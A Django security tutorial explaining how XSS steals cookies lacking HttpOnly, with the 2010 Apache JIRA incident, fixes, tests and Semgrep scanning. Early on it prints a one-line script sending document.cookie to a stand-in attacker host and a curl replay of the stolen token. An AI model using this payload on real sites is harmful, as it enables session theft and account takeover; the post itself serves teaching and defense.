Insecure Cookie Attributes: Why One Missing HttpOnly Turns an XSS Into a Stolen Session
Django Security Series β Post 19 | Series IV: Cryptographic Failures
OWASP A02:2025 β Security Misconfiguration | Reading time: ~15 min
π§ͺ Run it yourself. This attack ships as a runnable lab in django-security-lab, with a page that has an XSS hole and a collector standing in for the attacker's server. Sign in through the vulnerable login and one link sends nina's token to the collector, from where it opens her private notes on any machine; sign in through the secure one and the same script sends an empty string.
PetiΓ§Γ£o Brasil's server sets three cookies, all of them Django's: csrftoken on any page with a form, sessionid once someone signs in, and messages between an action that queues a notice and the page that shows it. Its production settings mark the first two Secure, HttpOnly and SameSite=Lax, and the third borrows the session cookie's settings, so it gets the same three. The login page shows it: the csrftoken it sets arrives with exactly those attributes. The project never calls set_cookie() itself. That is the case worth understanding, because the settings cover only the cookies Django writes itself. A cookie a project writes itself, a token for a JavaScript frontend or a "remember me" value, gets none of those attributes unless the code asks for each one.
A cookie is a value the server asks the browser to keep and send back with every request to the same site. Its attributes are instructions about who else may use it. Secure keeps it off plain HTTP. SameSite decides whether requests started by other sites carry it. HttpOnly keeps it away from JavaScript. The last one matters on the day a page has a cross-site scripting hole, and that day is what this post follows.
The Attack: What It Is and How It Works
A session cookie is a password the browser types for you. Whoever presents it is the user, for as long as it is valid, without a password, a second factor or a login form in the way. That is why it is worth stealing, and why where it can be read from matters as much as how it travels.
JavaScript running in a page can read that page's cookies through document.cookie, a single string of name=value pairs. That is the whole of the attack surface. Cross-site scripting (Post 2) is the way in: a value an attacker controls ends up in a page as markup, and the browser runs the script it contains with the page's full authority. A script that only wants the cookie needs one line:
<script>
new Image().src = "https://attacker.example/c?" + encodeURIComponent(document.cookie);
</script>
The browser loads the "image", and the request carries every readable cookie for the site to the attacker's server, where it is written to a log. The victim sees nothing. The attacker then replays the value from their own machine:
curl -b "api_token=7f3c9aβ¦" https://app.example/api/account/
To the server this is the victim. The stolen cookie works from any network and any browser until it expires or the server revokes it, long after the victim has closed the tab. In the MITRE ATT&CK model this is T1539 β Steal Web Session Cookie: an adversary obtains the cookie and uses it to authenticate as the user without their credentials.
HttpOnly takes the cookie out of that string. A cookie set with the attribute is still stored, and the browser still sends it with every request to the site, but document.cookie leaves it out, so the script above sends the attacker nothing worth having.
That does not make the XSS harmless. The injected script still runs with the page's authority, and any request it makes from the page, a fetch("/api/account/") for instance, goes out with the cookie attached by the browser, exactly as the page's own requests do. The script can read the response and send the data out, or change the account's settings, while the victim's tab is open. What it can no longer do is take the credential itself.
That difference is the whole value of the attribute. A stolen cookie is a copy of the session: the attacker uses it from their own machine, whenever they like, after the victim has closed the tab, for as long as the session lasts. Without the cookie, everything the attacker wants has to be written into the script in advance and done from inside the victim's page, during that one visit. The XSS still has to be fixed; HttpOnly decides whether it hands over an account or only lends one, briefly.
The other two attributes guard different doors. A cookie without Secure is sent over plain HTTP too, where anyone on the network path can read it; that belongs with HTTPS and HSTS, later in the series. A cookie without a SameSite restriction is attached to requests that other sites start, which is the cross-site request forgery of Post 8. Both are worth setting on the same line, and neither stops a script on the page from reading the cookie.
Real-World Incidents
Apache Software Foundation β JIRA administrators' session cookies stolen through an XSS link (April 2010)
On April 5, 2010, attackers working from a compromised Slicehost server opened a new issue, INFRA-2591, in the Apache Software Foundation's JIRA, the tracker the infrastructure team itself used. The issue contained a shortened TinyURL link that redirected back to Apache's own JIRA, to a page with a cross-site scripting flaw. In the words of Apache's incident report, "the attack was crafted to steal the session cookie from the user logged-in to JIRA". Several administrators clicked the link, and "this compromised their sessions, including their JIRA administrator rights."
The report does not discuss cookie attributes, but the mechanism tells you what they were: a script can only steal a cookie that document.cookie returns, so the session cookie was not HttpOnly. With the administrators' sessions, the attackers needed no password. At the same time they were running a brute-force attack against the JIRA login page, and the stolen sessions got them further and faster than any guess. They turned off notifications for a project, changed its attachment path to a directory that ran JSP files and that the JIRA user could write to, and uploaded their own code. By the morning of April 9 they had installed a JAR that logged every password typed into the login form. One of those passwords also opened a local account on the server, and that account had sudo rights.
The report counts the damage in passwords. Users who had logged in to the Apache JIRA between April 6 and April 9 had to treat their passwords as compromised, and the stored hashes were exposed too: JIRA and Confluence used "a SHA-512 hash, but without a random salt" (Post 18). Atlassian released a patch for the XSS on April 13. The hole that let the script run was JIRA's; what the script could carry away was decided by one attribute on one cookie.
MITRE ATT&CK maps the first step as T1539 β Steal Web Session Cookie, and what the attackers did with it as T1550.004 β Use Alternate Authentication Material: Web Session Cookie: using a stolen cookie to skip authentication altogether.
Sources: Apache Infrastructure Team β apache.org incident report for 04/09/2010 (April 13, 2010) Β· MITRE ATT&CK β T1539: Steal Web Session Cookie
Django's Default Protections
Django's own cookies are mostly safe by default. The session cookie is HttpOnly and SameSite=Lax out of the box, and the documentation for SESSION_COOKIE_HTTPONLY is unusually direct about it: "There aren't many good reasons for turning this off. Your code shouldn't read session cookies from JavaScript." The one attribute it leaves off is Secure, because a development server runs on plain HTTP and a Secure cookie would never come back to it. SESSION_COOKIE_SECURE and CSRF_COOKIE_SECURE are the settings that turn it on in production, and manage.py check --deploy warns when they are off (security.W012 and security.W016) and when the session cookie has lost its HttpOnly (security.W015).
The CSRF cookie is the one Django leaves readable on purpose. CSRF_COOKIE_HTTPONLY defaults to False, and the documentation explains why: the token defends against requests started by other sites, and "if an attacker can read the cookie via JavaScript, they're already on the same domain as far as the browser knows, so they can do anything they like anyway." Marking it HttpOnly is allowed, and some auditors ask for it, but it protects nothing a script on the page could not get another way.
Those settings reach only the cookies Django creates itself: the session cookie, the CSRF cookie, and the messages cookie, which reuses the session cookie's settings. (The language cookie, set by the set_language view, has LANGUAGE_COOKIE_* settings of its own, all off by default.) A cookie your own code creates, an API token or a saved preference, is written with response.set_cookie(), and none of those settings apply to it. It gets exactly the attributes the call passes and, for any the call leaves out, the method's defaults:
set_cookie(key, value="", max_age=None, expires=None, path="/", domain=None,
secure=False, httponly=False, samesite=None)
Each default leaves one door open. secure=False: the browser sends the cookie over plain HTTP too. httponly=False: document.cookie hands it to any script on the page. samesite=None: Django writes no SameSite attribute at all and leaves the choice to the browser; Chromium-based browsers then treat the cookie as Lax, but not every browser does. (Python's None here is not the attribute SameSite=None, which you get by passing the string "None".) So the bare call response.set_cookie("api_token", token) produces this header, with the name, the value and the path, and nothing else:
Set-Cookie: api_token=7f3c9aβ¦; Path=/
Nothing in the project notices. SESSION_COOKIE_HTTPONLY = True protects the session cookie (sessionid) and that one only; Django does not extend it to the others. And check --deploy reads the settings module, never the views where set_cookie() is called, so a project can pass every deploy check while handing a token to any script on its pages.
The Vulnerable Pattern and the Fix
Pattern 1 β A token cookie set with the defaults
The usual origin is a JavaScript frontend. The login view issues an API token and hands it to the browser in a cookie, and the frontend reads it back from document.cookie to put it in an Authorization header. Reading it back is the requirement that keeps HttpOnly off, and it is also exactly what an injected script does:
def login_view(request):
...
response = redirect("cookies_dashboard")
- response.set_cookie("api_token", token)
+ response.set_cookie("api_token", token, httponly=True, secure=True, samesite="Lax")
return response
With httponly=True the frontend can no longer read the token, and that is the point: it does not need to. The browser sends the cookie with every request to the site, so the API reads it from request.COOKIES instead of from a header the frontend builds. A cookie the browser attaches by itself needs the CSRF protection that comes with it (Post 8); samesite="Lax" is the browser's half of that, and Django's CSRF token is the server's. secure=True keeps the token off plain HTTP.
Pattern 2 β The session cookie made readable
The same requirement sometimes reaches the session cookie itself: a frontend that wants to know whether the user is signed in reads sessionid, and someone turns the protection off to let it.
-SESSION_COOKIE_HTTPONLY = False
+SESSION_COOKIE_HTTPONLY = True # the default; or delete the line
That one line turns every XSS on the site into session theft. The fix is to delete it and answer the frontend's question another way, with an endpoint that returns whether the request is authenticated. check --deploy reports this one (security.W015), which is why it is the easier of the two to catch: the token cookie in Pattern 1 is invisible to every check that reads settings.
The Analyst's View
HttpOnly is the clearest case in the series of a control that limits impact instead of preventing the attack. It does nothing about the XSS, which is exactly as present with the attribute as without it. What it changes is what a successful exploit yields, and that is what a vulnerability-management process needs to know when it ranks an XSS finding. A reflected XSS on a site whose session and token cookies are all HttpOnly lets the attacker act inside the victim's open tab. The same XSS beside one readable token cookie hands over an account that works from anywhere, for as long as the token lives. They are two findings of the same class with a very different blast radius, which is why checking what document.cookie returns belongs in the triage of every XSS report, not in a separate hardening ticket.
When a cookie may have been taken, the response happens on the server. T1550.004 is the reason: a stolen session cookie is authentication material in its own right, issued after every check the login made, a second factor included. Changing the password helps only if it also ends the session. Django's own session does end, because it stores a hash derived from the password and is flushed once that no longer matches; a hand-rolled token like the lab's api_token lives until the code revokes it. The indicators are on the server too: one session or token used from two networks or two browsers at once, or from an address the user has never signed in from. Scoping an XSS incident starts with listing every cookie that was readable while the hole was open, and ends with revoking each one.
Catching It Automatically
Testing Your Defence
A test client runs no JavaScript, so the lab's test applies the browser's rule to the login's response instead. readable_by_script() returns what document.cookie would hold afterwards, every cookie not marked HttpOnly, and the test sends that string to the collector the way the injected script would:
def readable_by_script(response):
"""What ``document.cookie`` holds after ``response``: the non-HttpOnly cookies."""
return "; ".join(
f"{name}={morsel.value}"
for name, morsel in response.cookies.items()
if not morsel["httponly"]
)
def test_a_secure_cookie_gives_the_script_nothing_to_send(self):
resp = self.log_in(SECURE_LOGIN)
stolen = run_payload(readable_by_script(resp))
self.assertEqual(stolen, "")
self.assertEqual(replay(stolen).status_code, 401)
Take httponly=True out of the secure view and it fails: the script's string becomes api_token=β¦, and the replay reads nina's note. The lab's tests.py has the rest: the vulnerable login's header is exactly api_token=β¦; Path=/, the stolen token replays into the flag, the browser still sends the HttpOnly cookie so the API keeps working, and Django's deploy check reports a readable session cookie.
In your own project the same rule fits any view that sets a cookie. ASVS 5.0 adds a second half that a header check alone misses: a value kept from scripts must reach the client only through Set-Cookie (V3.3.4). A login that sets an HttpOnly token and also returns it in a JSON body has handed it to every script on the page anyway. So the test reads the whole response:
def test_login_cookies_are_out_of_reach_of_scripts(self):
resp = self.client.post(reverse("login"), {"username": "ana", "password": PASSWORD})
readable = {name for name, morsel in resp.cookies.items() if not morsel["httponly"]}
self.assertLessEqual(readable, {"csrftoken"})
body = resp.content.decode()
for morsel in resp.cookies.values():
if morsel.value:
self.assertNotIn(morsel.value, body)
csrftoken is the one cookie allowed to stay readable, for the reason Django's documentation gives. Anything else in that set is a cookie a script can carry away.
Scanning It
Bandit and Semgrep return here, and the two Semgrep tiers from Post 13 decide the result again. Bandit has no check that mentions a cookie. Semgrep's curated packs report one finding on the lab:
semgrep scan --config p/django --config p/python --config p/owasp-top-ten labs/post_19_cookie_attributes/
# Ran 156 rules on 15 files: 1 finding.
It is raw-html-format on the dashboard, the reflected XSS the lab plants on purpose: a fair hit, and nothing about either login. The registry tier finds the bug:
semgrep scan --config r/python.django --config r/python labs/post_19_cookie_attributes/
# β―β± python.django.security.audit.secure-cookies.django-secure-set-cookie
# labs/post_19_cookie_attributes/views_vulnerable.py:40 response.set_cookie("api_token", token)
django-secure-set-cookie fires on the vulnerable login and is silent on the secure one, so this post ships no custom rule, and the repository's CI asserts the split. The curated packs leave it out for the reason Post 13 found: its metadata says subcategory: audit. They do carry HttpOnly rules, for Pyramid, Go and Express; the one for Django's set_cookie() lives only in the registry.
Before trusting a clean run, read what the rule asks for (the rule). It matches response.set_cookie(...) in a file that imports HttpResponse or render, and lets a call through when it passes secure=, httponly= and samesite=, with any value. Five one-line edits of the lab's views, captured in its scans/set-cookie-variants.txt, show what follows. A call without httponly= fires, and so does httponly=True alone, for the two attributes still missing. An explicit httponly=False is silent by design: the rule's message says to write exactly that when client-side JavaScript must read the cookie, which is the frontend that reads its token from document.cookie (Pattern 1), now stated as a decision. Two edits that change nothing about the cookie silence it as well: the same call on a variable named resp, because the pattern names response literally, and the vulnerable view written with from django import http, which falls outside the rule's import scope. So a clean result from this rule does not mean there is no readable token. A search finds every call, whatever the variable is called:
grep -rnE "set_(signed_)?cookie\(" --include=*.py . | grep -v "httponly=True"
Every line it prints is a cookie a script can read, or a call to read closely: one whose arguments sit on the following lines, or arrive as **kwargs.
Pattern 2, the line SESSION_COOKIE_HTTPONLY = False, lives in settings.py, not in a view, and none of the five Semgrep rule sources used above (the three curated packs and the two registry sets) has a rule for that setting. Django catches it itself: manage.py check --deploy reports security.W015. The two tools complement each other. The token set with set_cookie() (Pattern 1) shows up in Semgrep and not in check --deploy, which never reads the views. The session cookie made readable (Pattern 2) shows up in check --deploy and not in Semgrep. Each pattern has exactly one tool that finds it.
The habit to take from this one is to ask, for every cookie your code writes, who needs to read it. The browser always has it, since it is what stores and sends the cookie; the question is about the page's scripts. A script needs to only when the design says so, and a token is never that case. Pass httponly=True, secure=True and a samesite value to every set_cookie() call, leave Django's session settings at their defaults, and when an XSS turns up, start by asking which cookies document.cookie returned while it was open. Post 20 moves from what a cookie exposes to the key that signs what Django sends: a SECRET_KEY committed to a repository, and what an attacker can forge with it.
Further Reading
-
django-security-lab β
labs/post_19_cookie_attributes/β the runnable lab: a login that sets a token withset_cookie()'s defaults and one that sets itHttpOnly, a dashboard with a given XSS, an in-lab collector, and the captured scanner output inscans/ - Django documentation β
SESSION_COOKIE_HTTPONLYβ and, beside it, the other session and CSRF cookie settings - OWASP Session Management Cheat Sheet β the cookie attributes, one by one
- OWASP A02:2025 β Security Misconfiguration
- OWASP ASVS 5.0 β V3 Web Frontend Security β V3.3, cookie setup
- MITRE ATT&CK β T1539: Steal Web Session Cookie